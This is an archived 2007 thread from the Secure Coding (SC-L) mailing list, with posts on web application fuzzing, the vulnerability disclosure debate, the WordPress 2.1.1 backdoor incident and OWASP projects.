PROJECT HISTORY

I would like to thank you all for the great effort in creating the new
OWASP Testing Guide v2. The new version is a complete rewrite that
subsumes the previous version and includes the "OWASP Web Application
Penetration Checklist", Version 1.1 dated 2004.

The project, as part of the OWASP Autumn of Code, started on October
1st 2006 reviewing all the old documentation. The first month we made
a call to action to collect all the best security experts on
application security asking them to collaborate in writing the Testing
Guide.

We set up a 'dream team' of 39 authors and 20 reviewers: after 3
months of hard work and great team work we realized the v2 Release
Candidate 1 (RC1) by the 10th of January 2007. From that date to the
10th of February we received numerous great comments: more than 20
articles have been reviewed.

On the 10th of February we published the official version 2: a 272
pages high quality document, with 46 controls divided into 8
categories.


JOIN US

We need help to...

*** Continuously Improve the Guide.
The Guide is a "live" document: we always need your feedback! Please
join our testing mailing list and share your ideas with us. The next
step is to begin working on the new version: one issue that will be
improved is the client side testing.

*** Promote the Testing Guide
We would like to have some more media coverage on the guide, so
please, if you know somebody in there put them in touch. If you have
the chance, you can write an article about the Testing Guide and the
new OWASP Projects. Also you can pick up the OWASP Testing Guide
presentations and talk about it in local conferences and Chapter
meetings.

*** Translate the Guide into your Local Language
If you'd like to translate the Testing Guide in your local language,
please contact us.

*** Add 'Quotes' to the Guide.
If you've used the guide and can share your experience, we'd love to
hear from you. You can add your quote to the OWASP wiki here:
http://www.owasp.org/index.php/Testing_Guide_Quotes


Thanks,
Mat

--
Matteo Meucci
OWASP-Italy Chair, CISSP, CISA
http://www.owasp.org/index.php/Italy
OWASP Testing Guide lead
http://www.owasp.org/index.php/Testing_Guide

From ken at krvw.com  Tue Feb 27 03:06:22 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 27 Feb 2007 03:06:22 -0500
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web) Fuzz
	- Security News Analysis
Message-ID: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>

Here's an interesting article from Dark Reading about web fuzzers.   
Web fuzzing seems to be gaining some traction these days as a popular  
means of testing web apps and web services.

http://www.darkreading.com/document.asp? 
doc_id=118162&f_src=darkreading_section_296

Any good/bad experiences and opinions to be shared here on SC-L  
regarding fuzzing as a means of testing web apps/services?  I have to  
say I'm unconvinced, but agree that they should be one part--and a  
small one at that--of a robust testing regimen.

Cheers,

Ken

P.S. I'm over in Belgium right now for SecAppDev (http:// 
www.secappdev.org).  HD Moore wowed the class here with a demo of  
Metasploit 3.0.  For those of you that haven't looked at this (soon  
to be released, but available in beta now) tool, you really should  
check it out.  Although it's geared at the IT Security pen testing  
audience, I do believe that it has broader applicability as a  
framework for constructing one-off exploits against applications.
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070227/91e89a82/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070227/91e89a82/attachment.bin 

From ken at krvw.com  Tue Feb 27 04:02:37 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 27 Feb 2007 04:02:37 -0500
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web)
	Fuzz - Security News Analysis
In-Reply-To: <Pine.GSO.4.51.0702270326110.10317@faron.mitre.org>
References: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>
	<Pine.GSO.4.51.0702270326110.10317@faron.mitre.org>
Message-ID: <17914A64-1375-4F69-8645-3745E1A65BDA@krvw.com>

On Feb 27, 2007, at 3:33 AM, Steven M. Christey wrote:
> Given the complex manipulations that can work in XSS attacks (see  
> RSnake's
> cheat sheet) as well as directory traversal, combined with the sheer
> number of potential inputs in web applications, multipied by all the
> variations in encodings, I wouldn't be surprised if they were  
> effective in
> finding those kinds of implementation bugs, even in well-designed
> software.  Although successfully diagnosing some XSS without live
> verification smells like a hard problem akin to the Ptacek/Newsham
> "vantage point" issues in IDS.
>
> With the track record of non-web fuzzers and PROTOS style test  
> suites, why
> do you think web app fuzzing is less likely to succeed?

It's not so much that I don't think fuzzing is useful, it's that I  
don't see "one size fits all" fuzzing _products_ being useful.

To me, it gets to an issue of informed vs. uninformed (or "white box"  
vs. "black box" if you prefer) testing.  While they're both useful  
and should both be exercised, I believe (though I have no hard  
statistics to validate) that issues of coverage/state are always  
going to doom uninformed testing to being less effective than  
informed testing.  For a fuzzer to be really meaningful, I believe  
that a "smart fuzzing" approach is going to be the best bet, and that  
makes it hard for a "one size fits all" product solution to be feasible.

To do smart fuzzing, a lot of setup time is necessary in establishing  
an appropriate test harness and cases that fully exercise the files,  
network interface data, user data, etc., that the software is expecting.

Perhaps I'm totally off base, and I invite any product folks here to  
chime in and correct my misconceptions.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070227/7085953c/attachment.bin 

From michaelslists at gmail.com  Tue Feb 27 04:54:41 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Tue, 27 Feb 2007 20:54:41 +1100
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web)
	Fuzz - Security News Analysis
In-Reply-To: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>
References: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>
Message-ID: <5e01c29a0702270154r76b1eal934392e136ad1ad4@mail.gmail.com>

On 2/27/07, Kenneth Van Wyk <ken at krvw.com> wrote:
>
> Here's an interesting article from Dark Reading about web fuzzers.  Web
> fuzzing seems to be gaining some traction these days as a popular means of
> testing web apps and web services.
>
> http://www.darkreading.com/document.asp?doc_id=118162&f_src=darkreading_section_296
>
> Any good/bad experiences and opinions to be shared here on SC-L regarding
> fuzzing as a means of testing web apps/services?  I have to say I'm
> unconvinced, but agree that they should be one part--and a small one at
> that--of a robust testing regimen.

unconvinced of what? what fuzzing is useful? or that it's the best
security testing method ever? or you remain unconvinced that fuzzing
in web apps is > fuzzing in os apps?

fuzzing has obvious advantages. that's all anyone should care about.


> Cheers,
>
> Ken

-- mike

From gem at cigital.com  Tue Feb 27 06:22:34 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 27 Feb 2007 06:22:34 -0500
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the
	(Web)Fuzz - Security News Analysis
Message-ID: <83B3489DF1064F4E90218770D953D36107B718@va-mail.cigital.com>

Just for the record, the testing literature (non-security) supports ken's point of view.  Possibly the most amusing thing about all of this discussion about black box versus white box is that this is only one of many many divisions in testing.  Others include partition testing, fault injection, and mutation testing.  We really have a long way to go with security testing to catch up.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com


 -----Original Message-----
From: 	Kenneth Van Wyk [mailto:ken at krvw.com]
Sent:	Tue Feb 27 04:07:07 2007
To:	Secure Coding
Subject:	Re: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web)Fuzz - Security News Analysis

On Feb 27, 2007, at 3:33 AM, Steven M. Christey wrote:
> Given the complex manipulations that can work in XSS attacks (see  
> RSnake's
> cheat sheet) as well as directory traversal, combined with the sheer
> number of potential inputs in web applications, multipied by all the
> variations in encodings, I wouldn't be surprised if they were  
> effective in
> finding those kinds of implementation bugs, even in well-designed
> software.  Although successfully diagnosing some XSS without live
> verification smells like a hard problem akin to the Ptacek/Newsham
> "vantage point" issues in IDS.
>
> With the track record of non-web fuzzers and PROTOS style test  
> suites, why
> do you think web app fuzzing is less likely to succeed?

It's not so much that I don't think fuzzing is useful, it's that I  
don't see "one size fits all" fuzzing _products_ being useful.

To me, it gets to an issue of informed vs. uninformed (or "white box"  
vs. "black box" if you prefer) testing.  While they're both useful  
and should both be exercised, I believe (though I have no hard  
statistics to validate) that issues of coverage/state are always  
going to doom uninformed testing to being less effective than  
informed testing.  For a fuzzer to be really meaningful, I believe  
that a "smart fuzzing" approach is going to be the best bet, and that  
makes it hard for a "one size fits all" product solution to be feasible.

To do smart fuzzing, a lot of setup time is necessary in establishing  
an appropriate test harness and cases that fully exercise the files,  
network interface data, user data, etc., that the software is expecting.

Perhaps I'm totally off base, and I invite any product folks here to  
chime in and correct my misconceptions.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com








----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ken at krvw.com  Tue Feb 27 09:09:48 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 27 Feb 2007 09:09:48 -0500
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web)
	Fuzz - Security News Analysis
In-Reply-To: <5e01c29a0702270154r76b1eal934392e136ad1ad4@mail.gmail.com>
References: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>
	<5e01c29a0702270154r76b1eal934392e136ad1ad4@mail.gmail.com>
Message-ID: <F10805F5-C7D8-4889-A756-C3A52823F15C@krvw.com>

On Feb 27, 2007, at 4:54 AM, Michael Silk wrote:
> unconvinced of what? what fuzzing is useful? or that it's the best
> security testing method ever? or you remain unconvinced that fuzzing
> in web apps is > fuzzing in os apps?
>
> fuzzing has obvious advantages. that's all anyone should care about.

No, not that it's useful or not.  As I said in my other reply, my  
real wariness is of the "one size fits all" product solutions.  It  
seems to me that the best fuzzing tools are in fact frameworks for  
building customized fuzzing tests.  OWASP's jbrofuzz (in beta release  
currently) is an example of what I mean here.  It gives the tester  
the means for identifying fields to fuzz and how to fuzz them (say,  
integer size testing), and then you press the fuzz button and it  
generates all the tests.  That's useful, meaningful, and valuable,  
IMHO.  But it's not a "fire and forget" general purpose tool that can  
test any web app.

Beyond that, to me it's an issue of coverage.  As was any uninformed  
testing, it's bound to miss things, which is to be expected.  (E.g.,  
a state tree that contains a format string vulnerability that doesn't  
execute because the testing never triggered that particular state --  
hence my comments about test coverage/state earlier.)

So, my impression is that fuzzing is useful (in Howard/Lipner's SDL  
book, they say that some 25% of the bugs they find during testing  
come out during fuzzing), but that it should only be a small, say  
10-20%, part of a testing regimen.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070227/af0f7df5/attachment.bin 

From jms at bughunter.ca  Tue Feb 27 10:32:25 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Tue, 27 Feb 2007 07:32:25 -0800
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web)
	Fuzz- Security News Analysis
In-Reply-To: <9CAB3413-6E61-4D3B-8290-78E6E3569559@krvw.com>
Message-ID: <003101c75a84$7d4e12c0$4d07a8c0@jseitz>

In my personal experience with web app testing, I have found that web
fuzzers are not nearly as useful as fuzzers used for applications, and more
specifically I have found numerous bugs doing direct API fuzzing. In the
case of testing web applications I find that using something like
SpiDynamics tool is great for a first pass as a black box test, but to
really get an idea of how bad the vulnerability is, the extent, etc. manual
testing is an absolute must. I know that most people on this list don't
necessarily believe in fuzzing as a good security test, and I can hear Gary
groaning already, but I think that fuzzing tools are becoming more and more
intelligent, and you are soon going to see some extremely powerful tools in
this arena. Check out the paper on genetic algorithms and fuzzing from
BlackHat as well as the tool from Jared DeMott at Applied Security.
 
As for Metasploit, its a very sweet tool, as well as a very useful framework
for learning and developing exploits, particularly the tricky IE+ActiveX
heap nastiness that requires a little kung fu and a lot of coffee. 
 
JS

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Kenneth Van Wyk
Sent: Tuesday, February 27, 2007 12:06 AM
To: Secure Coding
Subject: [SC-L] Dark Reading - Desktop Security - Here Comes the (Web) Fuzz-
Security News Analysis


Here's an interesting article from Dark Reading about web fuzzers. Web
fuzzing seems to be gaining some traction these days as a popular means of
testing web apps and web services.

http://www.darkreading.com/document.asp?doc_id=118162
<http://www.darkreading.com/document.asp?doc_id=118162&f_src=darkreading_sec
tion_296> &f_src=darkreading_section_296 

Any good/bad experiences and opinions to be shared here on SC-L regarding
fuzzing as a means of testing web apps/services? I have to say I'm
unconvinced, but agree that they should be one part--and a small one at
that--of a robust testing regimen. 

Cheers,

Ken

P.S. I'm over in Belgium right now for SecAppDev (http://www.secappdev.org).
HD Moore wowed the class here with a demo of Metasploit 3.0. For those of
you that haven't looked at this (soon to be released, but available in beta
now) tool, you really should check it out. Although it's geared at the IT
Security pen testing audience, I do believe that it has broader
applicability as a framework for constructing one-off exploits against
applications.

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070227/557591c5/attachment-0001.html 

From gem at cigital.com  Tue Feb 27 14:24:09 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 27 Feb 2007 14:24:09 -0500
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
Message-ID: <83B3489DF1064F4E90218770D953D36108DF0D@va-mail.cigital.com>

Hi all,

The neverending debate over disclosure continued at RSA this year with a
panel featuring Chris Wysopl and others rehashing old ground.  There are
points on both sides, with radicals on one side (say marcus ranum)
calling the disclosure people "vulnerability pimps" and radicals on the
other saying that computer security would make no progress at all
without disclosure.

I've always sought some kind of middle ground when it comes to
disclosure.  The idea is to minimize risk to users of the broken system
while at the samne time learning something about security and making
sure the system gets fixed.

Disclosure is the subject of my latest Darkreading column:
http://www.darkreading.com/document.asp?doc_id=118174

What do you think?  Should we talk about exploits?  Should we out
vendors?  Is there a line to be drawn anywhere?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From jms at bughunter.ca  Tue Feb 27 17:42:49 2007
From: jms at bughunter.ca (J. M. Seitz)
Date: Tue, 27 Feb 2007 14:42:49 -0800
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <83B3489DF1064F4E90218770D953D36108DF0D@va-mail.cigital.com>
Message-ID: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>

Always a great debate, I somewhat agree with Marcus, there are plenty of
"pimps" out there looking for fame, and there are definitely a lot of them
(us) that are working behind the scenes, taking the time to help the vendors
and to stay somewhat out of the limelight. The ying-yang is very fitting.

On a related note, does anyone have an example where Company A was
disclosing vulnerabilities about competing Company B's product and got into
trouble over it? Is this something that could be litigated?

JS 

-----Original Message-----
From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Gary McGraw
Sent: Tuesday, February 27, 2007 11:24 AM
To: SC-L at securecoding.org
Subject: [SC-L] Disclosure: vulnerability pimps? or super heroes?

Hi all,

The neverending debate over disclosure continued at RSA this year with a
panel featuring Chris Wysopl and others rehashing old ground.  There are
points on both sides, with radicals on one side (say marcus ranum) calling
the disclosure people "vulnerability pimps" and radicals on the other saying
that computer security would make no progress at all without disclosure.

I've always sought some kind of middle ground when it comes to disclosure.
The idea is to minimize risk to users of the broken system while at the
samne time learning something about security and making sure the system gets
fixed.

Disclosure is the subject of my latest Darkreading column:
http://www.darkreading.com/document.asp?doc_id=118174

What do you think?  Should we talk about exploits?  Should we out vendors?
Is there a line to be drawn anywhere?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org List information,
subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


From BlueBoar at thievco.com  Tue Feb 27 18:32:06 2007
From: BlueBoar at thievco.com (Blue Boar)
Date: Tue, 27 Feb 2007 15:32:06 -0800
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>
References: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>
Message-ID: <45E4BF76.9070601@thievco.com>

J. M. Seitz wrote:
> On a related note, does anyone have an example where Company A was
> disclosing vulnerabilities about competing Company B's product and got into
> trouble over it? Is this something that could be litigated?

In fact, Tom Ptacek found a hole in one of Marcus' products while
working for a competitor. I suspect Tom reported it properly, though.

This research pissed MJR off to no end, which he made clear at one Black
Hat talk he gave, with Tom standing at the back of the room.

I suspect this was a key point in MJR's life when his code got touched
in an inappropriate way, and has led to his current level of curmudgeonry.

Or, for a more contemporary example, witness Symantec researchers
looking for holes in just about everything.

I fail to see any merit for a legitimate lawsuit. Of course, in the US,
you can sue whomever you please.

					BB

From michaelslists at gmail.com  Tue Feb 27 18:18:33 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Wed, 28 Feb 2007 10:18:33 +1100
Subject: [SC-L] Disclosure: vulnerability pimps? or super heroes?
In-Reply-To: <83B3489DF1064F4E90218770D953D36108DF0D@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D36108DF0D@va-mail.cigital.com>
Message-ID: <5e01c29a0702271518i352b3918l7998e812794a5063@mail.gmail.com>

On 2/28/07, Gary McGraw <gem at cigital.com> wrote:
>
> Hi all,
>
> The neverending debate over disclosure continued at RSA this year with a
> panel featuring Chris Wysopl and others rehashing old ground.  There are
> points on both sides, with radicals on one side (say marcus ranum)
> calling the disclosure people "vulnerability pimps" and radicals on the
> other saying that computer security would make no progress at all
> without disclosure.
>
> I've always sought some kind of middle ground when it comes to
> disclosure.  The idea is to minimize risk to users of the broken system
> while at the samne time learning something about security and making
> sure the system gets fixed.


I think havning extremists is a good thing. Forces people to re-evaluate
their position and actually do things, instead of having a disucssion about
it. Without that there would be middle grounders sitting around wondering
about the best approach. With the extremists these middlegrounders have to
react, or at least companies do. Which is only good.


Disclosure is the subject of my latest Darkreading column:
> http://www.darkreading.com/document.asp?doc_id=118174
>
> What do you think?  Should we talk about exploits?  Should we out
> vendors?  Is there a line to be drawn anywhere?



I think if you find an exploit do what you personally want. If I had time to
research them, I'd probably be pimping them out for as much as I could; why
not? I can decide. I found it. Same to you, with what you found.

The only line will come if some authority in some country makes it illegal
to sell them. And obviously there would be incredible difficulties in
isolating that, IMHO.


gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> book www.swsec.com



-- mike (s1, s2, s3) ;
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070228/5d32d73d/attachment.html 

From gem at cigital.com  Thu Mar  1 11:53:33 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 1 Mar 2007 11:53:33 -0500
Subject: [SC-L] new blog: Justice League
Message-ID: <83B3489DF1064F4E90218770D953D36108E222@va-mail.cigital.com>

Hi sc-lers,

Last week we started a blog at Cigital called "Justice League" that will
be populated by regular postings from Cigital Principals (John Steven,
Craig Miller, Sammy Migues, Scott Matsumoto, and Pravir Chandra)
http://www.cigital.com/justiceleague/

Our blog is positioned as an ecclectic collection of opinions about
software security and software quality.  The first few postings include
opinionated articles on SOX, Pen Testing, SOA, and enterprise software
security programs.  We hope you'll find it valuable and consider
subscribing via RSS.

Thanks for your interest in software security.  I'm encouraged by the
progress we're making as a field.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com 


----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From dinis at ddplus.net  Sat Mar  3 16:29:55 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Sat, 3 Mar 2007 21:29:55 +0000
Subject: [SC-L] [WEB SECURITY] Wordpress website hacked,
	wordpress backdoored
In-Reply-To: <20070303182951.26837.qmail@cgisecurity.net>
References: <20070303182951.26837.qmail@cgisecurity.net>
Message-ID: <701fd6b60703031329w514121c8gd0b0c23458e55169@mail.gmail.com>

nice, the business model is evolving.

But this is still a very 'inefficient' attack since:

 a) the final binaries were the ones infected (very easy to detect (imagine
if the infected code was actually from 'real' SVN source code and made from
a 'trusted' developer))
 b) by the speed this was detected the exploit (and the blog page didn't
give a lot of details about it) must have been a very 'HEY I AM A
BACKDOOR!!!!' kind of code.  A real exploit would be one that (using a .NET
example) used a type confusion attack to insert a buffer overflow on a
remotely accessible method (which would be inserted in day X and only used a
couple months later).

but it's evolving.....

Can everybody that writes code and has a Browser window open under the same
user account (even if non admin) raise their hand? ... nice so many hands
(including mine).... guess what, if your browser is 0wned, so will be your
code..

And OWASP uses WordPress (although Mike tells me that we were not affected)
for our blogs (blogs.owasp.org), nice :)

I am still waiting for the day that we will be maliciously hacked for
commercial reasons since that will be another step in the evolution of the
malicious guy's business model

Dinis in San Jose




---------- Forwarded message ----------
From: bugtraq at cgisecurity.net <bugtraq at cgisecurity.net>
Date: Mar 3, 2007 6:29 PM
Subject: [WEB SECURITY] Wordpress website hacked, wordpress backdoored
To: websecurity at webappsec.org

The Wordpress development team has posted an announcement that the download
server had been hacked, and wordpress 2.1.1 had a backdoor included in it
allowing for remote code execution.

URL: http://wordpress.org/development/2007/03/upgrade-212/

- Robert
http://www.cgisecurity.com/ Web Security news, and more
http://www.cgisecurity.com/index.rss [Subscribe to Security news]

----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/

Subscribe via RSS:
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070303/b17f9926/attachment.html 

From bugtraq at cgisecurity.net  Sat Mar  3 19:07:22 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Sat, 3 Mar 2007 19:07:22 -0500 (EST)
Subject: [SC-L] [WEB SECURITY] Wordpress website hacked,
	wordpress backdoored
In-Reply-To: <701fd6b60703031329w514121c8gd0b0c23458e55169@mail.gmail.com>
Message-ID: <20070304000722.49726.qmail@cgisecurity.net>

>  a) the final binaries were the ones infected (very easy to detect (imagine
> if the infected code was actually from 'real' SVN source code and made from
> a 'trusted' developer))
>  b) by the speed this was detected the exploit (and the blog page didn't
> give a lot of details about it) must have been a very 'HEY I AM A
> BACKDOOR!!!!' kind of code.  A real exploit would be one that (using a .NET

The original mailing list post by Ivan Fratric is at http://msgs.securepoint.com/cgi-bin/get/bugtraq0703/28.html for
those curious of the code differences. Given the brazen addition of multiple functions (instead of modifying an existing one
to make it vulnerable) we're probably not looking at the highest caliber of attacker here.

> And OWASP uses WordPress (although Mike tells me that we were not affected)
> for our blogs

Thanks for sharing about what OWASP runs. Not sure how this ties into the thread though. 
Again hats off to Ivan Fratric for spotting this before it became a much larger issue.

Regards,

- Robert
http://www.cgisecurity.com/ Application Security news and more
http://www.cgisecurity.com/index.rss [RSS Feed]

> ----------------------------------------------------------------------------
> Join us on IRC: irc.freenode.net #webappsec
> 
> Have a question? Search The Web Security Mailing List Archives:
> http://www.webappsec.org/lists/websecurity/
> 
> Subscribe via RSS:
> http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
> 


From coley at linus.mitre.org  Mon Mar  5 14:36:01 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 5 Mar 2007 14:36:01 -0500 (EST)
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>
References: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>
Message-ID: <Pine.GSO.4.51.0703051418380.6098@faron.mitre.org>


On Tue, 27 Feb 2007, J. M. Seitz wrote:

> Always a great debate, I somewhat agree with Marcus, there are plenty of
> "pimps" out there looking for fame, and there are definitely a lot of them
> (us) that are working behind the scenes, taking the time to help the vendors
> and to stay somewhat out of the limelight.

Do the people who write the books to avoid the vulns, sell the tools, and
give talks at conferences stay out of the limelight as well?  What about
all those podcasts?  They should be discounted too, since they're clearly
pimping something.  They must have ulterior motives.  Don't get me started
on those rabble-rousers who complain about voting machine security.

Not that I don't have issues with how disclosure happens sometimes, but
the anti-researcher sentiment that castigates them based on "looking for
fame" by people who are themselves "famous" strikes me as a bit
hypocritical.  Why do we know that Marcus designed the White House's first
firewall?  'cause he told us, that's why.

We're very lucky that assumed fame-hunters like Cesar Cerrudo and David
Maynor have decided that they won't bother telling the vendor about vulns
they find because of all the trouble it gets them into.  It's quite
unfortunate that Litchfield has almost single-handedly dared to question
Oracle's claim that it's unbreakable.  Perhaps we would prefer that these
pimpers stop giving us disclosure timelines that show that they notified
vendors about issues months or YEARS before the vendors actually got
around to fixing them.  We can go back to security through obscurity, the
old fashioned way, by lawsuits and threats.  Like what happened at Black
Hat last week, but with less press.

Basically, I have an issue with the criticism of this aspect of researcher
"pimpage" when it's usually the pot calling the kettle black, when most of
us are getting paid one way or another for this work, and there's a
pervasive inability to recognize that many such researchers feel forced to
disclose when the vendor still does nothing.  And many researchers aren't
in it for the fame, which is the assumption that the pimpage argument is
based on.

Sorry, must be a case of the Mondays combined with this building up over a
year or two.  The vuln researchers are the only parts of this business who
get no respect.

- Steve

From dinis at ddplus.net  Mon Mar  5 19:13:22 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Tue, 6 Mar 2007 00:13:22 +0000
Subject: [SC-L] Blog posts on Ideas for a Partial Trust Managed Code World
Message-ID: <701fd6b60703051613p39ea1dd1v36167d7670d4a1d4@mail.gmail.com>

The posts linked bellow are a variation of an email that I sent to 4 senior
technical Microsoft employees (two from .NET Security and two from the MS
Office security)  before I had a lunch meeting with them last Friday (2nd
March 2007)

As with all my previous meetings/lunches with Microsoft employees, it was an
interesting intellectual discussion but with no tangible results or
actionable actions since they (and Microsoft) don't believe that Partial
Trust Managed Code is a valid solution/approach. I also think that I need to
speak with their bosses, but unfortunately their bosses are not talking to
me


   - On Microsoft's lack of Partial Trust Managed Code (PTMC) focus and
   ideas for the
future<http://blogs.owasp.org/diniscruz/2007/03/05/on-microsofts-lack-of-partial-trust-managed-code-ptmc-focus-and-ideas-for-the-future/>-
In this post I start by doing a quick analysis for the current 'head
in
   the sand' response, and defend that in order for the changes to have real
   impact we will need impovements in 6 areas:  Technological, Political,
   Strategical, Economical, Social and Educational

   - 'Security Awareness Modes' & the 'day Microsoft
changes'<http://blogs.owasp.org/diniscruz/2007/03/05/security-awareness-modes-the-day-microsoft-changes/>-
Here I introduce an interesting concept of 4 Awareness Modes which I
think
   are good ways to describe company's awareness to the security issues that
   they face. The 4 modes are: 'Blissful ignorance', 'The Patching
   Dance', 'The SDL Dream and 'The Alignment'

   - Roadmap to a Partial Trust Managed Code
world<http://blogs.owasp.org/diniscruz/2007/03/05/roadmap-to-a-partial-trust-managed-code-world/>-
here I propose a time-line for the migration from the current 'all
   unmanaged/Full Trust world'

And before you shot-down this ideas (which are not short term btw), please
propose solutions for protecting our assets from malicious code executed
under our (and the applications) run-time environments.

The bottom line is, that currently (and it seems in the future) our main
security defense mechanism is our ability to prevent malicious code from
being executed in our environments (and if you think this is easy to
prevent, just make a quick list of all the applications and plug-ins
(containing external code) that are currently running in your desktop,
servers and web environments)

Dinis Cruz
Chief OWASP Evangelist
http://www.owasp.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070306/8730e2ec/attachment.html 

From smoore.sc at securityglobal.net  Mon Mar  5 20:24:17 2007
From: smoore.sc at securityglobal.net (Stuart Moore)
Date: Mon, 05 Mar 2007 20:24:17 -0500
Subject: [SC-L] Disclosure: vulnerability pimps?  or super heroes?
In-Reply-To: <Pine.GSO.4.51.0703051418380.6098@faron.mitre.org>
References: <009201c75ac0$9c17e1e0$4d07a8c0@jseitz>
